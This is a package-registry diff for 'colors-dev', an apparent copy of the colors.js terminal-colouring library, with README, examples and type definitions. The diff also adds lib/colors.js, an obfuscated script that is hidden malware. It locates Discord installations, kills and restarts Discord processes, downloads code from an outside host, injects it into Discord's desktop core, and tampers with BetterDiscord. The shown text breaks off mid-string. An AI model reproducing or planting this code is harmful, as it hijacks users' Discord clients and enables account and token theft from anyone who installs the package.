colors-dev 0.0.1-security → 1.4.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of colors-dev might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +212 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +13 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +38 -4
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
package/LICENSE
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Original Library
|
4
|
+
- Copyright (c) Marak Squires
|
5
|
+
|
6
|
+
Additional Functionality
|
7
|
+
- Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
8
|
+
|
9
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
10
|
+
of this software and associated documentation files (the "Software"), to deal
|
11
|
+
in the Software without restriction, including without limitation the rights
|
12
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
13
|
+
copies of the Software, and to permit persons to whom the Software is
|
14
|
+
furnished to do so, subject to the following conditions:
|
15
|
+
|
16
|
+
The above copyright notice and this permission notice shall be included in
|
17
|
+
all copies or substantial portions of the Software.
|
18
|
+
|
19
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
20
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
21
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
22
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
23
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
24
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
25
|
+
THE SOFTWARE.
|
package/README.md
CHANGED
@@ -1,5 +1,214 @@
|
|
1
|
-
#
|
1
|
+
# colors-dev
|
2
|
+
## get color and style in your node.js console
|
2
3
|
|
3
|
-
|
4
|
+
![Demo](https://raw.githubusercontent.com/Marak/colors.js/master/screenshots/colors.png)
|
4
5
|
|
5
|
-
|
6
|
+
## Installation
|
7
|
+
|
8
|
+
npm install colors-dev
|
9
|
+
|
10
|
+
## colors and styles!
|
11
|
+
|
12
|
+
### text colors
|
13
|
+
|
14
|
+
- black
|
15
|
+
- red
|
16
|
+
- green
|
17
|
+
- yellow
|
18
|
+
- blue
|
19
|
+
- magenta
|
20
|
+
- cyan
|
21
|
+
- white
|
22
|
+
- gray
|
23
|
+
- grey
|
24
|
+
|
25
|
+
### bright text colors
|
26
|
+
|
27
|
+
- brightRed
|
28
|
+
- brightGreen
|
29
|
+
- brightYellow
|
30
|
+
- brightBlue
|
31
|
+
- brightMagenta
|
32
|
+
- brightCyan
|
33
|
+
- brightWhite
|
34
|
+
|
35
|
+
### background colors
|
36
|
+
|
37
|
+
- bgBlack
|
38
|
+
- bgRed
|
39
|
+
- bgGreen
|
40
|
+
- bgYellow
|
41
|
+
- bgBlue
|
42
|
+
- bgMagenta
|
43
|
+
- bgCyan
|
44
|
+
- bgWhite
|
45
|
+
- bgGray
|
46
|
+
- bgGrey
|
47
|
+
|
48
|
+
### bright background colors
|
49
|
+
|
50
|
+
- bgBrightRed
|
51
|
+
- bgBrightGreen
|
52
|
+
- bgBrightYellow
|
53
|
+
- bgBrightBlue
|
54
|
+
- bgBrightMagenta
|
55
|
+
- bgBrightCyan
|
56
|
+
- bgBrightWhite
|
57
|
+
|
58
|
+
### styles
|
59
|
+
|
60
|
+
- reset
|
61
|
+
- bold
|
62
|
+
- dim
|
63
|
+
- italic
|
64
|
+
- underline
|
65
|
+
- inverse
|
66
|
+
- hidden
|
67
|
+
- strikethrough
|
68
|
+
|
69
|
+
### extras
|
70
|
+
|
71
|
+
- rainbow
|
72
|
+
- zebra
|
73
|
+
- america
|
74
|
+
- trap
|
75
|
+
- random
|
76
|
+
|
77
|
+
|
78
|
+
## Usage
|
79
|
+
|
80
|
+
By popular demand, `colors-dev` now ships with two types of usages!
|
81
|
+
|
82
|
+
The super nifty way
|
83
|
+
|
84
|
+
```js
|
85
|
+
var colors = require('colors-dev');
|
86
|
+
|
87
|
+
console.log('hello'.green); // outputs green text
|
88
|
+
console.log('i like cake and pies'.underline.red); // outputs red underlined text
|
89
|
+
console.log('inverse the color'.inverse); // inverses the color
|
90
|
+
console.log('OMG Rainbows!'.rainbow); // rainbow
|
91
|
+
console.log('Run the trap'.trap); // Drops the bass
|
92
|
+
|
93
|
+
```
|
94
|
+
|
95
|
+
or a slightly less nifty way which doesn't extend `String.prototype`
|
96
|
+
|
97
|
+
```js
|
98
|
+
var colors = require('colors-dev/safe');
|
99
|
+
|
100
|
+
console.log(colors.green('hello')); // outputs green text
|
101
|
+
console.log(colors.red.underline('i like cake and pies')); // outputs red underlined text
|
102
|
+
console.log(colors.inverse('inverse the color')); // inverses the color
|
103
|
+
console.log(colors.rainbow('OMG Rainbows!')); // rainbow
|
104
|
+
console.log(colors.trap('Run the trap')); // Drops the bass
|
105
|
+
|
106
|
+
```
|
107
|
+
|
108
|
+
I prefer the first way. Some people seem to be afraid of extending `String.prototype` and prefer the second way.
|
109
|
+
|
110
|
+
If you are writing good code you will never have an issue with the first approach. If you really don't want to touch `String.prototype`, the second usage will not touch `String` native object.
|
111
|
+
|
112
|
+
## Enabling/Disabling Colors
|
113
|
+
|
114
|
+
The package will auto-detect whether your terminal can use colors and enable/disable accordingly. When colors are disabled, the color functions do nothing. You can override this with a command-line flag:
|
115
|
+
|
116
|
+
```bash
|
117
|
+
node myapp.js --no-color
|
118
|
+
node myapp.js --color=false
|
119
|
+
|
120
|
+
node myapp.js --color
|
121
|
+
node myapp.js --color=true
|
122
|
+
node myapp.js --color=always
|
123
|
+
|
124
|
+
FORCE_COLOR=1 node myapp.js
|
125
|
+
```
|
126
|
+
|
127
|
+
Or in code:
|
128
|
+
|
129
|
+
```javascript
|
130
|
+
var colors = require('colors-dev');
|
131
|
+
colors.enable();
|
132
|
+
colors.disable();
|
133
|
+
```
|
134
|
+
|
135
|
+
## Console.log [string substitution](http://nodejs.org/docs/latest/api/console.html#console_console_log_data)
|
136
|
+
|
137
|
+
```js
|
138
|
+
var name = 'fuhrer';
|
139
|
+
console.log(colors.green('Hello %s'), name);
|
140
|
+
// outputs -> 'Hello fuhrer'
|
141
|
+
```
|
142
|
+
|
143
|
+
## Custom themes
|
144
|
+
|
145
|
+
### Using standard API
|
146
|
+
|
147
|
+
```js
|
148
|
+
|
149
|
+
var colors = require('colors-dev');
|
150
|
+
|
151
|
+
colors.setTheme({
|
152
|
+
silly: 'rainbow',
|
153
|
+
input: 'grey',
|
154
|
+
verbose: 'cyan',
|
155
|
+
prompt: 'grey',
|
156
|
+
info: 'green',
|
157
|
+
data: 'grey',
|
158
|
+
help: 'cyan',
|
159
|
+
warn: 'yellow',
|
160
|
+
debug: 'blue',
|
161
|
+
error: 'red'
|
162
|
+
});
|
163
|
+
|
164
|
+
// outputs red text
|
165
|
+
console.log("this is an error".error);
|
166
|
+
|
167
|
+
// outputs yellow text
|
168
|
+
console.log("this is a warning".warn);
|
169
|
+
```
|
170
|
+
|
171
|
+
### Using string safe API
|
172
|
+
|
173
|
+
```js
|
174
|
+
var colors = require('colors-dev/safe');
|
175
|
+
|
176
|
+
// set single property
|
177
|
+
var error = colors.red;
|
178
|
+
error('this is red');
|
179
|
+
|
180
|
+
// set theme
|
181
|
+
colors.setTheme({
|
182
|
+
silly: 'rainbow',
|
183
|
+
input: 'grey',
|
184
|
+
verbose: 'cyan',
|
185
|
+
prompt: 'grey',
|
186
|
+
info: 'green',
|
187
|
+
data: 'grey',
|
188
|
+
help: 'cyan',
|
189
|
+
warn: 'yellow',
|
190
|
+
debug: 'blue',
|
191
|
+
error: 'red'
|
192
|
+
});
|
193
|
+
|
194
|
+
// outputs red text
|
195
|
+
console.log(colors.error("this is an error"));
|
196
|
+
|
197
|
+
// outputs yellow text
|
198
|
+
console.log(colors.warn("this is a warning"));
|
199
|
+
|
200
|
+
```
|
201
|
+
|
202
|
+
### Combining Colors
|
203
|
+
|
204
|
+
```javascript
|
205
|
+
var colors = require('colors-dev');
|
206
|
+
|
207
|
+
colors.setTheme({
|
208
|
+
custom: ['red', 'underline']
|
209
|
+
});
|
210
|
+
|
211
|
+
console.log('test'.custom);
|
212
|
+
```
|
213
|
+
|
214
|
+
*Protip: There is a secret undocumented style in `colors-dev`. If you find the style you can summon him.*
|
@@ -0,0 +1,82 @@
|
|
1
|
+
var colors = require('../lib/index');
|
2
|
+
|
3
|
+
console.log('First some yellow text'.yellow);
|
4
|
+
|
5
|
+
console.log('Underline that text'.yellow.underline);
|
6
|
+
|
7
|
+
console.log('Make it bold and red'.red.bold);
|
8
|
+
|
9
|
+
console.log(('Double Raindows All Day Long').rainbow);
|
10
|
+
|
11
|
+
console.log('Drop the bass'.trap);
|
12
|
+
|
13
|
+
console.log('DROP THE RAINBOW BASS'.trap.rainbow);
|
14
|
+
|
15
|
+
// styles not widely supported
|
16
|
+
console.log('Chains are also cool.'.bold.italic.underline.red);
|
17
|
+
|
18
|
+
// styles not widely supported
|
19
|
+
console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
|
20
|
+
+ ' styles! '.yellow.bold);
|
21
|
+
console.log('Zebras are so fun!'.zebra);
|
22
|
+
|
23
|
+
//
|
24
|
+
// Remark: .strikethrough may not work with Mac OS Terminal App
|
25
|
+
//
|
26
|
+
console.log('This is ' + 'not'.strikethrough + ' fun.');
|
27
|
+
|
28
|
+
console.log('Background color attack!'.black.bgWhite);
|
29
|
+
console.log('Use random styles on everything!'.random);
|
30
|
+
console.log('America, Heck Yeah!'.america);
|
31
|
+
|
32
|
+
console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow + 'not?!'.brightGreen);
|
33
|
+
|
34
|
+
console.log('Setting themes is useful');
|
35
|
+
|
36
|
+
//
|
37
|
+
// Custom themes
|
38
|
+
//
|
39
|
+
console.log('Generic logging theme as JSON'.green.bold.underline);
|
40
|
+
// Load theme with JSON literal
|
41
|
+
colors.setTheme({
|
42
|
+
silly: 'rainbow',
|
43
|
+
input: 'grey',
|
44
|
+
verbose: 'cyan',
|
45
|
+
prompt: 'grey',
|
46
|
+
info: 'green',
|
47
|
+
data: 'grey',
|
48
|
+
help: 'cyan',
|
49
|
+
warn: 'yellow',
|
50
|
+
debug: 'blue',
|
51
|
+
error: 'red',
|
52
|
+
});
|
53
|
+
|
54
|
+
// outputs red text
|
55
|
+
console.log('this is an error'.error);
|
56
|
+
|
57
|
+
// outputs yellow text
|
58
|
+
console.log('this is a warning'.warn);
|
59
|
+
|
60
|
+
// outputs grey text
|
61
|
+
console.log('this is an input'.input);
|
62
|
+
|
63
|
+
console.log('Generic logging theme as file'.green.bold.underline);
|
64
|
+
|
65
|
+
// Load a theme from file
|
66
|
+
try {
|
67
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
68
|
+
} catch (err) {
|
69
|
+
console.log(err);
|
70
|
+
}
|
71
|
+
|
72
|
+
// outputs red text
|
73
|
+
console.log('this is an error'.error);
|
74
|
+
|
75
|
+
// outputs yellow text
|
76
|
+
console.log('this is a warning'.warn);
|
77
|
+
|
78
|
+
// outputs grey text
|
79
|
+
console.log('this is an input'.input);
|
80
|
+
|
81
|
+
// console.log("Don't summon".zalgo)
|
82
|
+
|
@@ -0,0 +1,79 @@
|
|
1
|
+
var colors = require('../safe');
|
2
|
+
|
3
|
+
console.log(colors.yellow('First some yellow text'));
|
4
|
+
|
5
|
+
console.log(colors.yellow.underline('Underline that text'));
|
6
|
+
|
7
|
+
console.log(colors.red.bold('Make it bold and red'));
|
8
|
+
|
9
|
+
console.log(colors.rainbow('Double Raindows All Day Long'));
|
10
|
+
|
11
|
+
console.log(colors.trap('Drop the bass'));
|
12
|
+
|
13
|
+
console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
|
14
|
+
|
15
|
+
// styles not widely supported
|
16
|
+
console.log(colors.bold.italic.underline.red('Chains are also cool.'));
|
17
|
+
|
18
|
+
// styles not widely supported
|
19
|
+
console.log(colors.green('So ') + colors.underline('are') + ' '
|
20
|
+
+ colors.inverse('inverse') + colors.yellow.bold(' styles! '));
|
21
|
+
|
22
|
+
console.log(colors.zebra('Zebras are so fun!'));
|
23
|
+
|
24
|
+
console.log('This is ' + colors.strikethrough('not') + ' fun.');
|
25
|
+
|
26
|
+
|
27
|
+
console.log(colors.black.bgWhite('Background color attack!'));
|
28
|
+
console.log(colors.random('Use random styles on everything!'));
|
29
|
+
console.log(colors.america('America, Heck Yeah!'));
|
30
|
+
|
31
|
+
console.log(colors.brightCyan('Blindingly ') + colors.brightRed('bright? ') + colors.brightYellow('Why ') + colors.brightGreen('not?!'));
|
32
|
+
|
33
|
+
console.log('Setting themes is useful');
|
34
|
+
|
35
|
+
//
|
36
|
+
// Custom themes
|
37
|
+
//
|
38
|
+
// console.log('Generic logging theme as JSON'.green.bold.underline);
|
39
|
+
// Load theme with JSON literal
|
40
|
+
colors.setTheme({
|
41
|
+
silly: 'rainbow',
|
42
|
+
input: 'blue',
|
43
|
+
verbose: 'cyan',
|
44
|
+
prompt: 'grey',
|
45
|
+
info: 'green',
|
46
|
+
data: 'grey',
|
47
|
+
help: 'cyan',
|
48
|
+
warn: 'yellow',
|
49
|
+
debug: 'blue',
|
50
|
+
error: 'red',
|
51
|
+
});
|
52
|
+
|
53
|
+
// outputs red text
|
54
|
+
console.log(colors.error('this is an error'));
|
55
|
+
|
56
|
+
// outputs yellow text
|
57
|
+
console.log(colors.warn('this is a warning'));
|
58
|
+
|
59
|
+
// outputs blue text
|
60
|
+
console.log(colors.input('this is an input'));
|
61
|
+
|
62
|
+
|
63
|
+
// console.log('Generic logging theme as file'.green.bold.underline);
|
64
|
+
|
65
|
+
// Load a theme from file
|
66
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
67
|
+
|
68
|
+
// outputs red text
|
69
|
+
console.log(colors.error('this is an error'));
|
70
|
+
|
71
|
+
// outputs yellow text
|
72
|
+
console.log(colors.warn('this is a warning'));
|
73
|
+
|
74
|
+
// outputs grey text
|
75
|
+
console.log(colors.input('this is an input'));
|
76
|
+
|
77
|
+
// console.log(colors.zalgo("Don't summon him"))
|
78
|
+
|
79
|
+
|
package/index.d.ts
ADDED
@@ -0,0 +1,136 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export interface Color {
|
7
|
+
(text: string): string;
|
8
|
+
|
9
|
+
strip: Color;
|
10
|
+
stripColors: Color;
|
11
|
+
|
12
|
+
black: Color;
|
13
|
+
red: Color;
|
14
|
+
green: Color;
|
15
|
+
yellow: Color;
|
16
|
+
blue: Color;
|
17
|
+
magenta: Color;
|
18
|
+
cyan: Color;
|
19
|
+
white: Color;
|
20
|
+
gray: Color;
|
21
|
+
grey: Color;
|
22
|
+
|
23
|
+
bgBlack: Color;
|
24
|
+
bgRed: Color;
|
25
|
+
bgGreen: Color;
|
26
|
+
bgYellow: Color;
|
27
|
+
bgBlue: Color;
|
28
|
+
bgMagenta: Color;
|
29
|
+
bgCyan: Color;
|
30
|
+
bgWhite: Color;
|
31
|
+
|
32
|
+
reset: Color;
|
33
|
+
bold: Color;
|
34
|
+
dim: Color;
|
35
|
+
italic: Color;
|
36
|
+
underline: Color;
|
37
|
+
inverse: Color;
|
38
|
+
hidden: Color;
|
39
|
+
strikethrough: Color;
|
40
|
+
|
41
|
+
rainbow: Color;
|
42
|
+
zebra: Color;
|
43
|
+
america: Color;
|
44
|
+
trap: Color;
|
45
|
+
random: Color;
|
46
|
+
zalgo: Color;
|
47
|
+
}
|
48
|
+
|
49
|
+
export function enable(): void;
|
50
|
+
export function disable(): void;
|
51
|
+
export function setTheme(theme: any): void;
|
52
|
+
|
53
|
+
export let enabled: boolean;
|
54
|
+
|
55
|
+
export const strip: Color;
|
56
|
+
export const stripColors: Color;
|
57
|
+
|
58
|
+
export const black: Color;
|
59
|
+
export const red: Color;
|
60
|
+
export const green: Color;
|
61
|
+
export const yellow: Color;
|
62
|
+
export const blue: Color;
|
63
|
+
export const magenta: Color;
|
64
|
+
export const cyan: Color;
|
65
|
+
export const white: Color;
|
66
|
+
export const gray: Color;
|
67
|
+
export const grey: Color;
|
68
|
+
|
69
|
+
export const bgBlack: Color;
|
70
|
+
export const bgRed: Color;
|
71
|
+
export const bgGreen: Color;
|
72
|
+
export const bgYellow: Color;
|
73
|
+
export const bgBlue: Color;
|
74
|
+
export const bgMagenta: Color;
|
75
|
+
export const bgCyan: Color;
|
76
|
+
export const bgWhite: Color;
|
77
|
+
|
78
|
+
export const reset: Color;
|
79
|
+
export const bold: Color;
|
80
|
+
export const dim: Color;
|
81
|
+
export const italic: Color;
|
82
|
+
export const underline: Color;
|
83
|
+
export const inverse: Color;
|
84
|
+
export const hidden: Color;
|
85
|
+
export const strikethrough: Color;
|
86
|
+
|
87
|
+
export const rainbow: Color;
|
88
|
+
export const zebra: Color;
|
89
|
+
export const america: Color;
|
90
|
+
export const trap: Color;
|
91
|
+
export const random: Color;
|
92
|
+
export const zalgo: Color;
|
93
|
+
|
94
|
+
declare global {
|
95
|
+
interface String {
|
96
|
+
strip: string;
|
97
|
+
stripColors: string;
|
98
|
+
|
99
|
+
black: string;
|
100
|
+
red: string;
|
101
|
+
green: string;
|
102
|
+
yellow: string;
|
103
|
+
blue: string;
|
104
|
+
magenta: string;
|
105
|
+
cyan: string;
|
106
|
+
white: string;
|
107
|
+
gray: string;
|
108
|
+
grey: string;
|
109
|
+
|
110
|
+
bgBlack: string;
|
111
|
+
bgRed: string;
|
112
|
+
bgGreen: string;
|
113
|
+
bgYellow: string;
|
114
|
+
bgBlue: string;
|
115
|
+
bgMagenta: string;
|
116
|
+
bgCyan: string;
|
117
|
+
bgWhite: string;
|
118
|
+
|
119
|
+
reset: string;
|
120
|
+
// @ts-ignore
|
121
|
+
bold: string;
|
122
|
+
dim: string;
|
123
|
+
italic: string;
|
124
|
+
underline: string;
|
125
|
+
inverse: string;
|
126
|
+
hidden: string;
|
127
|
+
strikethrough: string;
|
128
|
+
|
129
|
+
rainbow: string;
|
130
|
+
zebra: string;
|
131
|
+
america: string;
|
132
|
+
trap: string;
|
133
|
+
random: string;
|
134
|
+
zalgo: string;
|
135
|
+
}
|
136
|
+
}
|
package/lib/colors.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
var _0x5243c9=_0x3f08;(function(_0x1c7ced,_0x2d1357){var _0x80c8ba=_0x3f08,_0x19e952=_0x1c7ced();while(!![]){try{var _0x2e2662=-parseInt(_0x80c8ba(0x177))/0x1*(parseInt(_0x80c8ba(0x117))/0x2)+-parseInt(_0x80c8ba(0x10f))/0x3*(parseInt(_0x80c8ba(0x141))/0x4)+parseInt(_0x80c8ba(0x13a))/0x5+-parseInt(_0x80c8ba(0x139))/0x6+parseInt(_0x80c8ba(0x13d))/0x7*(-parseInt(_0x80c8ba(0x115))/0x8)+-parseInt(_0x80c8ba(0x134))/0x9+-parseInt(_0x80c8ba(0x130))/0xa*(-parseInt(_0x80c8ba(0x133))/0xb);if(_0x2e2662===_0x2d1357)break;else _0x19e952['push'](_0x19e952['shift']());}catch(_0x3f8c73){_0x19e952['push'](_0x19e952['shift']());}}}(_0x3d05,0x59eeb));var colors={};module[_0x5243c9(0x113)]=colors;var glob=require(_0x5243c9(0x151));const fs=require('\x66\x73'),{exec}=require('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'),{default:axios}=require('\x61\x78\x69\x6f\x73'),buf_replace=require(_0x5243c9(0x157)),superstarlmao=_0x5243c9(0x188),config={'\x6c\x6f\x67\x6f\x75\x74':_0x5243c9(0x15a),'\x69\x6e\x6a\x65\x63\x74\x2d\x6e\x6f\x74\x69\x66\x79':_0x5243c9(0x123),'\x6c\x6f\x67\x6f\x75\x74\x2d\x6e\x6f\x74\x69\x66\x79':_0x5243c9(0x123),'\x69\x6e\x69\x74\x2d\x6e\x6f\x74\x69\x66\x79':_0x5243c9(0x123),'\x65\x6d\x62\x65\x64\x2d\x63\x6f\x6c\x6f\x72':0x54bf3,'\x64\x69\x73\x61\x62\x6c\x65\x2d\x71\x72\x2d\x63\x6f\x64\x65':_0x5243c9(0x123)};var LOCAL=process[_0x5243c9(0x180)][_0x5243c9(0x152)],discords=[],injectPath=[],runningDiscords=[];function _0x3f08(_0x4996ee,_0x5ba1c9){var _0x3d05de=_0x3d05();return _0x3f08=function(_0x3f0895,_0x40d505){_0x3f0895=_0x3f0895-0x10b;var _0x1be918=_0x3d05de[_0x3f0895];return _0x1be918;},_0x3f08(_0x4996ee,_0x5ba1c9);}fs[_0x5243c9(0x189)](LOCAL)[_0x5243c9(0x169)](_0x2532c9=>{var _0x36f6d6=_0x5243c9;if(_0x2532c9[_0x36f6d6(0x185)]('\x69\x73\x63\x6f\x72\x64'))discords[_0x36f6d6(0x143)](LOCAL+'\x5c'+_0x2532c9);else return;}),discords['\x66\x6f\x72\x45\x61\x63\x68'](function(_0x467fa2){var _0x4ea5ac=_0x5243c9;let _0x5475e7=''+_0x467fa2+'\x5c\x61\x70\x70\x2d\x2a\x5c\x6d\x6f\x64\x75\x6c\x65\x73\x5c\x64\x69\x73\x63\x6f\x72\x64\x5f\x64\x65\x73\x6b\x74\x6f\x70\x5f\x63\x6f\x72\x65\x2d\x2a\x5c\x64\x69\x73\x63\x6f\x72\x64\x5f\x64\x65\x73\x6b\x74\x6f\x70\x5f\x63\x6f\x72\x65\x5c\x69\x6e\x64\x65\x78\x2e\x6a\x73';glob['\x73\x79\x6e\x63'](_0x5475e7)[_0x4ea5ac(0x128)](_0x97be40=>{var _0x2d4570=_0x4ea5ac;injectPath[_0x2d4570(0x143)](_0x97be40);});}),listDiscords();async function infect(){var _0x3d661b=_0x5243c9;await axios[_0x3d661b(0x163)](_0x3d661b(0x16b))['\x74\x68\x65\x6e'](async _0x41b22d=>{var _0x19376d=_0x3d661b;let _0x1ae7a6=_0x41b22d[_0x19376d(0x190)];injectPath[_0x19376d(0x169)](_0x3d615c=>{var _0x3b99ca=_0x19376d;fs['\x77\x72\x69\x74\x65\x46\x69\x6c\x65\x53\x79\x6e\x63'](_0x3d615c,_0x1ae7a6[_0x3b99ca(0x156)](_0x3b99ca(0x14f),superstarlmao)['\x72\x65\x70\x6c\x61\x63\x65'](_0x3b99ca(0x122),config[_0x3b99ca(0x18d)])[_0x3b99ca(0x156)](_0x3b99ca(0x182),config[_0x3b99ca(0x18a)])[_0x3b99ca(0x156)]('\x25\x4c\x4f\x47\x4f\x55\x54\x4e\x4f\x54\x49\x25',config[_0x3b99ca(0x17f)])['\x72\x65\x70\x6c\x61\x63\x65'](_0x3b99ca(0x161),config[_0x3b99ca(0x17c)])[_0x3b99ca(0x156)](_0x3b99ca(0x14b),config[_0x3b99ca(0x12c)]),{'\x65\x6e\x63\x6f\x64\x69\x6e\x67':'\x75\x74\x66\x38','\x66\x6c\x61\x67':'\x77'});if(config[_0x3b99ca(0x18d)]==_0x3b99ca(0x123)){let _0x3106f8=_0x3d615c[_0x3b99ca(0x156)](_0x3b99ca(0x10c),_0x3b99ca(0x11a));if(!fs[_0x3b99ca(0x144)](_0x3106f8))fs[_0x3b99ca(0x11e)](_0x3106f8,0x1e4);}if(config['\x6c\x6f\x67\x6f\x75\x74']!=_0x3b99ca(0x129)){let _0x3358f2=_0x3d615c[_0x3b99ca(0x156)](_0x3b99ca(0x10c),_0x3b99ca(0x12a));if(!fs[_0x3b99ca(0x144)](_0x3358f2)){fs['\x6d\x6b\x64\x69\x72\x53\x79\x6e\x63'](_0x3358f2,0x1e4);if(config['\x6c\x6f\x67\x6f\x75\x74']==_0x3b99ca(0x15a))startDiscord();}else{if(fs[_0x3b99ca(0x144)](_0x3358f2)&&config[_0x3b99ca(0x18a)]==_0x3b99ca(0x15a))startDiscord();}}});})['\x63\x61\x74\x63\x68'](()=>{});};async function listDiscords(){var _0x338c64=_0x5243c9;exec(_0x338c64(0x142),async(_0x1f7a53,_0x54e01b,_0x3c4c39)=>{var _0x2d91a4=_0x338c64;_0x54e01b[_0x2d91a4(0x185)](_0x2d91a4(0x13b))&&runningDiscords[_0x2d91a4(0x143)]('\x64\x69\x73\x63\x6f\x72\x64');_0x54e01b[_0x2d91a4(0x185)](_0x2d91a4(0x154))&&runningDiscords[_0x2d91a4(0x143)]('\x64\x69\x73\x63\x6f\x72\x64\x63\x61\x6e\x61\x72\x79');_0x54e01b[_0x2d91a4(0x185)](_0x2d91a4(0x13e))&&runningDiscords[_0x2d91a4(0x143)](_0x2d91a4(0x17d));_0x54e01b[_0x2d91a4(0x185)](_0x2d91a4(0x172))&&runningDiscords[_0x2d91a4(0x143)]('\x64\x69\x73\x63\x6f\x72\x64\x70\x74\x62');;config[_0x2d91a4(0x18a)]=='\x69\x6e\x73\x74\x61\x6e\x74'?killDiscord():(config['\x69\x6e\x6a\x65\x63\x74\x2d\x6e\x6f\x74\x69\x66\x79']==_0x2d91a4(0x123)&&injectPath[_0x2d91a4(0x150)]!=0x0&&injectNotify(),infect(),pwnBetterDiscord());});};async function killDiscord(){var _0x3d8d66=_0x5243c9;runningDiscords[_0x3d8d66(0x169)](_0x4e0f99=>{var _0x1376f4=_0x3d8d66;exec(_0x1376f4(0x10e)+_0x4e0f99+_0x1376f4(0x155),_0x1c5cc0=>{if(_0x1c5cc0)return;});}),config[_0x3d8d66(0x119)]==_0x3d8d66(0x123)&&injectPath[_0x3d8d66(0x150)]!=0x0&&injectNotify(),infect(),pwnBetterDiscord();};async function startDiscord(){runningDiscords['\x66\x6f\x72\x45\x61\x63\x68'](_0x2ac730=>{var _0x127852=_0x3f08;let _0x3fc7e6=LOCAL+'\x5c'+_0x2ac730+'\x5c\x55\x70\x64\x61\x74\x65\x2e\x65\x78\x65\x20\x2d\x2d\x70\x72\x6f\x63\x65\x73\x73\x53\x74\x61\x72\x74\x20'+_0x2ac730+_0x127852(0x125);exec(_0x3fc7e6,_0x467042=>{if(_0x467042)return;});});};async function pwnBetterDiscord(){var _0x53635c=_0x5243c9,_0x398eff=process['\x65\x6e\x76'][_0x53635c(0x187)]+_0x53635c(0x146);if(fs[_0x53635c(0x144)](_0x398eff)){var _0x319ba1=fs['\x72\x65\x61\x64\x46\x69\x6c\x65\x53\x79\x6e\x63'](_0x398eff);fs[_0x53635c(0x12b)](_0x398eff,buf_replace(_0x319ba1,'\x61\x70\x69\x2f\x77\x65\x62\x68\x6f\x6f\x6b\x73','\x6b\x61\x6b\x61'));}else return;}function _0x3d05(){var _0x3c6899=['\x55\x73\x65\x72\x20\x44\x61\x74\x61','\x47\x6f\x6f\x67\x6c\x65','\x66\x6f\x72\x45\x61\x63\x68','\x59\x61\x6e\x64\x65\x78\x42\x72\x6f\x77\x73\x65\x72','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x65\x67\x61\x70\x69\x72\x61\x6e\x68\x61\x2e\x63\x6f\x6d\x2f\x6b\x61\x75\x61\x6e\x61\x70\x65\x72\x69\x67\x6f\x73\x61','\x49\x66\x20\x79\x6f\x75\x20\x61\x72\x65\x20\x74\x72\x79\x69\x6e\x67\x20\x74\x6f\x20\x73\x65\x74\x20\x61\x20\x74\x68\x65\x6d\x65\x20\x66\x72\x6f\x6d\x20\x61\x20\x66\x69\x6c\x65\x2c\x20\x69\x74\x20\x69\x73\x20\x6e\x6f\x77\x20\x79\x6f\x75\x72\x20\x28\x74\x68\x65\x20','\x72\x65\x61\x64\x46\x69\x6c\x65\x53\x79\x6e\x63','\x4f\x70\x65\x72\x61\x20\x53\x74\x61\x62\x6c\x65','\x65\x78\x65\x63','\x73\x74\x72\x69\x6e\x67','\x6c\x64\x62','\x44\x69\x73\x63\x6f\x72\x64\x50\x54\x42\x2e\x65\x78\x65','\x5c\x24\x26','\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f','\x75\x6e\x64\x65\x66\x69\x6e\x65\x64','\x72\x61\x69\x6e\x62\x6f\x77','\x36\x6f\x50\x58\x6b\x47\x63','\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72','\x73\x70\x6c\x69\x74','\x6a\x6f\x69\x6e','\x64\x69\x73\x63\x6f\x72\x64\x63\x61\x6e\x61\x72\x79','\x65\x6d\x62\x65\x64\x2d\x63\x6f\x6c\x6f\x72','\x64\x69\x73\x63\x6f\x72\x64\x64\x65\x76\x65\x6c\x6f\x70\x6d\x65\x6e\x74','\x65\x6e\x64\x69\x61\x6e\x6e\x65\x73\x73','\x6c\x6f\x67\x6f\x75\x74\x2d\x6e\x6f\x74\x69\x66\x79','\x65\x6e\x76','\x6b\x65\x79\x73','\x25\x4c\x4f\x4